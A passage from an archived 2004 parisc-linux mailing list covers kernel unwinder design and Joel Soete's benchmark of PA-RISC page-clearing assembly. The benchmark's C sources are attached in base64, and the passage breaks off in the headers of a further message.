	<200412050304.iB534j12014124@hiauly1.hia.nrc.ca>
	<20041205091640.GV6359@tausq.org>
Reply-To: davidm@hpl.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623619 11955 80.91.229.3 (22 Nov 2014 02:33:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:39 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 davidm@hpl.hp.com,
 parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30951 invoked by uid 65534); 6 Dec 2004 20:53:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx034) with SMTP; 06 Dec 2004 21:53:05 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3209E3BE6B; Mon,  6 Dec 2004 12:23:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29485-10; Mon, 6 Dec 2004 12:23:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 77A4B3BE62; Mon,  6 Dec 2004 12:23:15 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D4D13BE60
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Dec 2004 12:23:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29754-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Dec 2004 12:22:59 -0700 (MST)
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by free.linux.hp.com (Postfix) with ESMTP id 20C353BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Dec 2004 12:22:59 -0700 (MST)
Original-Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by palrel11.hp.com (Postfix) with ESMTP
	id 89C098462; Mon,  6 Dec 2004 11:22:58 -0800 (PST)
Original-Received: from napali.hpl.hp.com (napali.hpl.hp.com [15.4.89.123])
	by hplms2.hpl.hp.com (8.13.1/8.13.1/HPL-PA Hub) with ESMTP id
	iB6JMusE022183; Mon, 6 Dec 2004 11:22:56 -0800 (PST)
Original-Received: from napali.hpl.hp.com (napali [127.0.0.1])
	by napali.hpl.hp.com (8.13.1/8.13.1/Debian-18) with ESMTP id
	iB6JMuvh006696; Mon, 6 Dec 2004 11:22:56 -0800
Original-Received: (from davidm@localhost)
	by napali.hpl.hp.com (8.13.1/8.13.1/Submit) id iB6JMuQ6006693;
	Mon, 6 Dec 2004 11:22:56 -0800
In-Reply-To: <20041205091640.GV6359@tausq.org>
X-Mailer: VM 7.19 under Emacs 21.3.1
X-URL: http://www.hpl.hp.com/personal/David_Mosberger/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22189

>>>>> On Sun, 5 Dec 2004 01:16:40 -0800, Randolph Chung <randolph@tausq.org> said:

  Randolph> The kernel contains a primitive SOM unwind record-based
  Randolph> unwinder. That will also need to be redone if we decide to
  Randolph> go to dwarf2 only unwinding (but i guess David is working
  Randolph> towards that anyway).

Ugh, it's good you mention this!  Just a few days ago, I raised the
question of in-kernel unwind support for various Linux platforms.
Nobody expressed a clear-cut interest so far (I fear I asked on the
wrong mailing-list...).  It sounds like PARISC Linux would benefit
from having libunwind-support in the kernel?  I'm pretty sure Alpha
needs that too.  There are probably others that would want it, too.
So far, it looks like only SPARC and PPC{,64} don't need libunwind,
since the hardware/calling-convention squirrels away enough info in
the stack-frames to not need unwind-info.

  Randolph> One tricky thing though is that while generating SOM-style
  Randolph> unwind records for hand-written assembly is fairly
  Randolph> straightforward, generating dwarf2-unwind data is not
  Randolph> quite so easy... possibly we need to do some work to make
  Randolph> this somewhat easier to handle.

The cfi-directive support recently added to the binutils makes it
fairly straight-forward though.  Basically, you just need to annotate
the instructions that manipulate the stack-pointer and instructions
that save/restore a preserved register.

	--david
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] clerar user page test
Date: Tue, 7 Dec 2004 15:12:37 +0100
Lines: 156
Approved: news@gmane.org
Message-ID: <418A81310000D172@mail-7-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="========/418A81310000D172/mail-7-bnl.tiscali.it"
X-Trace: ger.gmane.org 1416623619 11958 80.91.229.3 (22 Nov 2014 02:33:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10654 invoked by uid 65534); 7 Dec 2004 14:13:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 07 Dec 2004 15:13:35 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 83C3A3BE5F; Tue,  7 Dec 2004 07:13:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07096-02; Tue, 7 Dec 2004 07:13:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B56223BE60; Tue,  7 Dec 2004 07:12:51 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BF3F3BE5D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Dec 2004 07:12:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04915-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 7 Dec 2004 07:12:41 -0700 (MST)
Original-Received: from mrq-2.tiscalinet.it (unknown [213.205.37.215])
	by free.linux.hp.com (Postfix) with ESMTP id DCB2A3BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Dec 2004 07:12:40 -0700 (MST)
Original-Received: from mail-7-bnl.tiscali.it (10.39.115.137) by mrq-2.tiscalinet.it
	(7.0.028)
	id 419A120A00282D92 for parisc-linux@lists.parisc-linux.org;
	Tue, 7 Dec 2004 15:12:39 +0100
Original-Received: from [57.67.177.33] by mail-7-bnl.tiscali.it with HTTP;
	Tue, 7 Dec 2004 15:12:37 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22190


--========/418A81310000D172/mail-7-bnl.tiscali.it
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable

Hello all,

here are the results of some clup test:
(run on b2k running  2.6.10-rc3-pa2 64bit)
time ./clup0; time ./clup1 ; time ./clup2

real    0m0.498s
user    0m0.440s
sys     0m0.014s

real    0m0.277s
user    0m0.229s
sys     0m0.010s

real    0m0.272s
user    0m0.227s
sys     0m0.013s

(the corresponding src are attached. 
Compile with (for remind:):
ggc -o clup0 clup0.c
gcc -mach=3D2.0 -o clup1 clup1.c
gcc -mach=3D2.0 -o clup2 clup2.c)

so real benefit to use double word insn on 64bit (clup0 verusu clup1)

but not reducing the number of loop (clup1 versus clup2)

hth,
    Joel


-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR





--========/418A81310000D172/mail-7-bnl.tiscali.it
Content-Type: text/x-csrc
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="clup2.c"

CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdHJpbmcu
aD4KI2luY2x1ZGUgPGVycm5vLmg+CgojZGVmaW5lIExQNjQJMSAKCnZvaWQgX19jbGVhcl91c2Vy
X3BhZ2VfYXNtKHVuc2lnbmVkIGxvbmcgdmFkZHIpCnsKCmFzbSB2b2xhdGlsZSAoImxkaQk2NCwl
JXIxXG4iCiNpZmRlZiBMUDY0CiIxOglzdGQJJSVyMCwwKCUwKVxuIgkJCiIJc3RkCSUlcjAsOCgl
MClcbiIJCQoiCXN0ZAklJXIwLDE2KCUwKVxuIgkKIglzdGQJJSVyMCwyNCglMClcbiIKIglzdGQJ
JSVyMCwzMiglMClcbiIKIglzdGQJJSVyMCw0MCglMClcbiIKIglzdGQJJSVyMCw0OCglMClcbiIJ
CiIJc3RkCSUlcjAsNTYoJTApXG4iCiIJc3RkCSUlcjAsNjQoJTApXG4iCQkKIglzdGQJJSVyMCw3
MiglMClcbiIJCQoiCXN0ZAklJXIwLDgwKCUwKVxuIgkKIglzdGQJJSVyMCw4OCglMClcbiIKIglz
dGQJJSVyMCw5NiglMClcbiIKIglzdGQJJSVyMCwxMDQoJTApXG4iCiIJc3RkCSUlcjAsMTEyKCUw
KVxuIgkKIglzdGQJJSVyMCwxMjAoJTApXG4iCiIJYWRkaWIsPiAgLTIsJSVyMSwxYlxuIgoiCWxk
bwkxMjgoJTApLCUwIgojZWxzZQoiMToJc3R3CSUlcjAsMCglMClcbiIKIglzdHcJJSVyMCw0KCUw
KVxuIgoiCXN0dwklJXIwLDgoJTApXG4iCiIJc3R3CSUlcjAsMTIoJTApXG4iCiIJc3R3CSUlcjAs
MTYoJTApXG4iCiIJc3R3CSUlcjAsMjAoJTApXG4iCiIJc3R3CSUlcjAsMjQoJTApXG4iCiIJc3R3
CSUlcjAsMjgoJTApXG4iCiIJc3R3CSUlcjAsMzIoJTApXG4iCiIJc3R3CSUlcjAsMzYoJTApXG4i
CQoiCXN0dwklJXIwLDQwKCUwKVxuIgoiCXN0dwklJXIwLDQ0KCUwKVxuIgoiCXN0dwklJXIwLDQ4
KCUwKVxuIgkKIglzdHcJJSVyMCw1MiglMClcbiIKIglzdHcJJSVyMCw1NiglMClcbiIKIglzdHcJ
JSVyMCw2MCglMClcbiIKIglhZGRpYiw+ICAtMSwlJXIxLDFiXG4iCiIJbGRvCTY0KCUwKSwlMCIK
I2VuZGlmCgk6CQkKCTogInIiKHZhZGRyKSApOwp9CgovKiAKI2RlZmluZQlJTklUCTEKI2RlZmlu
ZQlERUJVRwkxCiAqLwoKaW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKiAqIGFyZ3YsIGNoYXIgKiAq
IGVudikKewoJY2hhciBBUGFnZVs0MDk2XTsKCWludCBpLCBqLCBrOwoKI2lmIElOSVQKCWZvciAo
aT0wOyBpPDQwOTY7IGkrKykgewoJCWogPSBpICUgMjY7CiNpZiBERUJVRwoJCXByaW50ZigiJWQs
ICVkXG4iLCBpLCBqKTsKI2VuZGlmCgkJQVBhZ2VbaV0gPSAoY2hhcikoais2NSk7CiNpZiBERUJV
RwoJCXByaW50ZigiQVBhZ2VbJWRdID0gJWRcbiIsIGksIEFQYWdlW2ldKTsKI2VuZGlmCgl9OwoJ
QVBhZ2VbNDA5Nl0gPSAnXDAnOwojaWYgREVCVUcKCXByaW50ZigiQVBhZ2U6ICVzLlxuIiwgQVBh
Z2UpOwojZW5kaWYKI2VuZGlmCS8qIElOSVQgKi8KCWZvciAoaT0wOyBpPDQwKjQwOTY7IGkrKykg
ewoJCV9fY2xlYXJfdXNlcl9wYWdlX2FzbSgodW5zaWduZWQgbG9uZylBUGFnZSk7Cgl9CgojaWYg
REVCVUcKCWZvciAoaT0wOyBpPDQwOTY7IGkrKykgewoJCXByaW50ZigiQVBhZ2VbJWRdID0gJWRc
biIsIGksIEFQYWdlW2ldKTsKCX0KI2VuZGlmCiAgICByZXR1cm4gMDsKfQoK


--========/418A81310000D172/mail-7-bnl.tiscali.it
Content-Type: text/x-csrc
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="clup1.c"

CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdHJpbmcu
aD4KI2luY2x1ZGUgPGVycm5vLmg+CgojZGVmaW5lIExQNjQJMSAKCnZvaWQgX19jbGVhcl91c2Vy
X3BhZ2VfYXNtKHVuc2lnbmVkIGxvbmcgdmFkZHIpCnsKCmFzbSB2b2xhdGlsZSAoImxkaQk2NCwl
JXIxXG4iCiNpZmRlZiBMUDY0CiIxOglzdGQJJSVyMCwwKCUwKVxuIgkJCiIJc3RkCSUlcjAsOCgl
MClcbiIJCQoiCXN0ZAklJXIwLDE2KCUwKVxuIgkKIglzdGQJJSVyMCwyNCglMClcbiIKIglzdGQJ
JSVyMCwzMiglMClcbiIKIglzdGQJJSVyMCw0MCglMClcbiIKIglzdGQJJSVyMCw0OCglMClcbiIJ
CiIJc3RkCSUlcjAsNTYoJTApXG4iCiNlbHNlCiIxOglzdHcJJSVyMCwwKCUwKVxuIgoiCXN0dwkl
JXIwLDQoJTApXG4iCiIJc3R3CSUlcjAsOCglMClcbiIKIglzdHcJJSVyMCwxMiglMClcbiIKIglz
dHcJJSVyMCwxNiglMClcbiIKIglzdHcJJSVyMCwyMCglMClcbiIKIglzdHcJJSVyMCwyNCglMClc
biIKIglzdHcJJSVyMCwyOCglMClcbiIKIglzdHcJJSVyMCwzMiglMClcbiIKIglzdHcJJSVyMCwz
NiglMClcbiIJCiIJc3R3CSUlcjAsNDAoJTApXG4iCiIJc3R3CSUlcjAsNDQoJTApXG4iCiIJc3R3
CSUlcjAsNDgoJTApXG4iCQoiCXN0dwklJXIwLDUyKCUwKVxuIgoiCXN0dwklJXIwLDU2KCUwKVxu
IgoiCXN0dwklJXIwLDYwKCUwKVxuIgojZW5kaWYKIglhZGRpYiw+ICAtMSwlJXIxLDFiXG4iCiIJ
bGRvCTY0KCUwKSwlMCIKCToJCQoJOiAiciIodmFkZHIpICk7Cn0KCmludCBtYWluKGludCBhcmdj
LCBjaGFyICogKiBhcmd2LCBjaGFyICogKiBlbnYpCnsKCWNoYXIgQVBhZ2VbNDA5Nl07CglpbnQg
aSwgaiwgazsKCiNpZiBJTklUCglmb3IgKGk9MDsgaTw0MDk2OyBpKyspIHsKCQlqID0gaSAlIDI2
OwojaWYgREVCVUcKCQlwcmludGYoIiVkLCAlZFxuIiwgaSwgaik7CiNlbmRpZgoJCUFQYWdlW2ld
ID0gKGNoYXIpKGorNjUpOwojaWYgREVCVUcKCQlwcmludGYoIkFQYWdlWyVkXSA9ICVkXG4iLCBp
LCBBUGFnZVtpXSk7CiNlbmRpZgoJfTsKCUFQYWdlWzQwOTZdID0gJ1wwJzsKI2lmIERFQlVHCglw
cmludGYoIkFQYWdlOiAlcy5cbiIsIEFQYWdlKTsKI2VuZGlmCiNlbmRpZgkvKiBJTklUICovCglm
b3IgKGk9MDsgaTw0MCo0MDk2OyBpKyspIHsKCQlfX2NsZWFyX3VzZXJfcGFnZV9hc20oKHVuc2ln
bmVkIGxvbmcpQVBhZ2UpOwoJfQoKI2lmIERFQlVHCglmb3IgKGk9MDsgaTw0MDk2OyBpKyspIHsK
CQlwcmludGYoIkFQYWdlWyVkXSA9ICVkXG4iLCBpLCBBUGFnZVtpXSk7Cgl9CiNlbmRpZgogICAg
cmV0dXJuIDA7Cn0KCg==


--========/418A81310000D172/mail-7-bnl.tiscali.it
Content-Type: text/x-csrc
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="clup0.c"

CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdHJpbmcu
aD4KI2luY2x1ZGUgPGVycm5vLmg+CgovKiAjZGVmaW5lIExQNjQJMSAgKi8KCnZvaWQgX19jbGVh
cl91c2VyX3BhZ2VfYXNtKHVuc2lnbmVkIGxvbmcgdmFkZHIpCnsKCmFzbSB2b2xhdGlsZSAoImxk
aQk2NCwlJXIxXG4iCiNpZmRlZiBMUDY0CiIxOglzdGQJJSVyMCwwKCUwKVxuIgkJCiIJc3RkCSUl
cjAsOCglMClcbiIJCQoiCXN0ZAklJXIwLDE2KCUwKVxuIgkKIglzdGQJJSVyMCwyNCglMClcbiIK
IglzdGQJJSVyMCwzMiglMClcbiIKIglzdGQJJSVyMCw0MCglMClcbiIKIglzdGQJJSVyMCw0OCgl
MClcbiIJCiIJc3RkCSUlcjAsNTYoJTApXG4iCiNlbHNlCiIxOglzdHcJJSVyMCwwKCUwKVxuIgoi
CXN0dwklJXIwLDQoJTApXG4iCiIJc3R3CSUlcjAsOCglMClcbiIKIglzdHcJJSVyMCwxMiglMClc
biIKIglzdHcJJSVyMCwxNiglMClcbiIKIglzdHcJJSVyMCwyMCglMClcbiIKIglzdHcJJSVyMCwy
NCglMClcbiIKIglzdHcJJSVyMCwyOCglMClcbiIKIglzdHcJJSVyMCwzMiglMClcbiIKIglzdHcJ
JSVyMCwzNiglMClcbiIJCiIJc3R3CSUlcjAsNDAoJTApXG4iCiIJc3R3CSUlcjAsNDQoJTApXG4i
CiIJc3R3CSUlcjAsNDgoJTApXG4iCQoiCXN0dwklJXIwLDUyKCUwKVxuIgoiCXN0dwklJXIwLDU2
KCUwKVxuIgoiCXN0dwklJXIwLDYwKCUwKVxuIgojZW5kaWYKIglhZGRpYiw+ICAtMSwlJXIxLDFi
XG4iCiIJbGRvCTY0KCUwKSwlMCIKCToJCQoJOiAiciIodmFkZHIpICk7Cn0KCmludCBtYWluKGlu
dCBhcmdjLCBjaGFyICogKiBhcmd2LCBjaGFyICogKiBlbnYpCnsKCWNoYXIgQVBhZ2VbNDA5Nl07
CglpbnQgaSwgaiwgazsKCiNpZiBJTklUCglmb3IgKGk9MDsgaTw0MDk2OyBpKyspIHsKCQlqID0g
aSAlIDI2OwojaWYgREVCVUcKCQlwcmludGYoIiVkLCAlZFxuIiwgaSwgaik7CiNlbmRpZgoJCUFQ
YWdlW2ldID0gKGNoYXIpKGorNjUpOwojaWYgREVCVUcKCQlwcmludGYoIkFQYWdlWyVkXSA9ICVk
XG4iLCBpLCBBUGFnZVtpXSk7CiNlbmRpZgoJfTsKCUFQYWdlWzQwOTZdID0gJ1wwJzsKI2lmIERF
QlVHCglwcmludGYoIkFQYWdlOiAlcy5cbiIsIEFQYWdlKTsKI2VuZGlmCiNlbmRpZgkvKiBJTklU
ICovCglmb3IgKGk9MDsgaTw0MCo0MDk2OyBpKyspIHsKCQlfX2NsZWFyX3VzZXJfcGFnZV9hc20o
KHVuc2lnbmVkIGxvbmcpQVBhZ2UpOwoJfQoKI2lmIERFQlVHCglmb3IgKGk9MDsgaTw0MDk2OyBp
KyspIHsKCQlwcmludGYoIkFQYWdlWyVkXSA9ICVkXG4iLCBpLCBBUGFnZVtpXSk7Cgl9CiNlbmRp
ZgogICAgcmV0dXJuIDA7Cn0KCg==

--========/418A81310000D172/mail-7-bnl.tiscali.it
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--========/418A81310000D172/mail-7-bnl.tiscali.it--



From - Thu Nov 08 21:32:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: More questions [Was: [parisc-linux] 2.6.10-rc1-pa11 profile data]
Date: Tue, 7 Dec 2004 15:42:18 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <418A81310000D1B9@mail-7-bnl.tiscali.it>
References: <20041203154159.GB6359@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623620 11960 80.91.229.3 (22 Nov 2014 02:33:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28888 invoked by uid 65534); 7 Dec 2004 14:42:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 07 Dec 2004 15:42:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1734F3BE60; Tue,  7 Dec 2004 07:42:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07096-09; Tue, 7 Dec 2004 07:42:51 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D32AC3BE62; Tue,  7 Dec 2004 07:42:32 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A9E83BE5F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Dec 2004 07:42:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06283-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 7 Dec 2004 07:42:24 -0700 (MST)
Original-Received: from mrq-1.tiscalinet.it (unknown [213.205.37.214])
	by free.linux.hp.com (Postfix) with ESMTP id 5B8493BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Dec 2004 07:42:23 -0700 (MST)
Original-Received: from mail-7-bnl.tiscali.it (10.39.115.137) by mrq-1.tiscalinet.it
	(7.0.028) id 419A1246002BE8D2; Tue, 7 Dec 2004 15:42:19 +0100
Original-Received: from [57.67.177.33] by mail-7-bnl.tiscali.it with HTTP;
	Tue, 7 Dec 2004 15:42:18 +0100
In-Reply-To: <20041203154159.GB6359@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22191

Hello Randolph,

> 
> 
> > I test it on my b2k with 64bit kernel and it works but it didn't seem=
s
> to 
> > bring me any benefit?
> > As far as I can believe readprofile: the ratio between the first and
last
> 
> > column is always the same (1/80 in this case).
> > What did I miss?
> 
> what workload did you test this on? possibly you only see a benefit wit=
h
> workloads that need to do a lot of page clearings.... so you probably
> want to find a workload so that the first column is >>1
> 
I re-do the following test with 2.6.10-rc3-pa2 with this b2k and 64bits
kernel:
readprofile -r ; make V=3D1 vmlinux 2>&1 | tee /var/logs/k-2.6.10-rc3-pa2=
-b2k64
; readprofile > /var/logs/prof2b-2.6.10-rc3-pa2-b2k64-3

I build first the kernel from cvs and reboot it to obtain following resul=
t:
/var/logs/prof2b-2.6.10-rc3-pa2-b2k64-3: 15500 __clear_user_page_asm   
                138.3929 (i.e. 1/112)

I apply previous mentioned lclu patch, rebuild again and reboot to rebuil=
d
a 4th time this kernel to obtain:
/var/logs/prof2b-2.6.10-rc3-pa2-b2k64-4: 12609 __clear_user_page_asm   
                112.5804 (i.e. 1/112)

Interesting: the ratio stay cst between test but the number of clock tick=
s
was well reduced (so I presume a potential benefit even though small ;-)

hth,
    Joel


-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michiel Broek <mbroek@mbse.dds.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux 2.6, 712-workstation and (no) keyboard
Date: Tue, 7 Dec 2004 20:25:32 +0100
Lines: 837
Approved: news@gmane.org
Message-ID: <200412072025.32825.mbroek@mbse.dds.nl>
References: <41B5A752.4090906@lycos.nl>
